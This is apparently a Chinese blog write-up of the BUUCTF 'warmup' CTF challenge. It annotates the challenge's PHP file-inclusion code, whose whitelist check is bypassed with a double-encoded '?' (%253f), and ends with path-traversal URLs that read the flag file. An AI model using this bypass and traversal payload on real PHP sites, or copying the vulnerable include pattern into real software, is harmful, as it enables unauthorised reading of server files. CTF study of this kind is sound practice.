抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

进去只看到一个滑稽表情,然后打开网页源代码可以看到source.php然后访问。

打开后是php代码审计。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
![warmup3](C:\Users\hacke\Desktop\buuctf\warmup3.PNG) <?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //白名单
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
} // 不是字符串返回false,输出 you cant't see it.

if (in_array($page, $whitelist)) {
return true;
} // 若$page在白名单里,返回true。

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
); // 对$page进行问好前截断赋给$_page.
if (in_array($_page, $whitelist)) {
return true;
} // 若$_page在白名单里,返回true。

$_page = urldecode($page); // 将$_page解码。
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
); // 对$_page进行问好前截断赋给$_page,看到这里我们就要对问号进行二次编码。
if (in_array($_page, $whitelist)) {
return true;
} // 若$_page在白名单里,返回true。
echo "you can't see it";
return false; // 若以上三个if均未返回值,则返回false。
}
}

if (! empty($_REQUEST['file']) // 值不为空
&& is_string($_REQUEST['file']) // 是字符串形式
&& emmm::checkFile($_REQUEST['file']) // 能够通过checkFile函数效验。
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
} // 否则输出滑稽表情。
?>

$whitelist = ["source"=>"source.php","hint"=>"hint.php"];可以看出还有一个hint.php的网页,打开后看到flag不在这,在ffffllllaaaagggg里面。

看到这里,我们已经知到该怎么做了,但是有一点,我们并不知道ffffllllaaaagggg在哪。

http://xxx.xxx.xxx/source.php?file=source.php%253f../ffffllllaaaagggg看到并没有回显,然后我们就一直加../直到返回flag。

http://xxx.xxx.xxx/source.php?file=source.php%253f../../../../../ffffllllaaaagggg

评论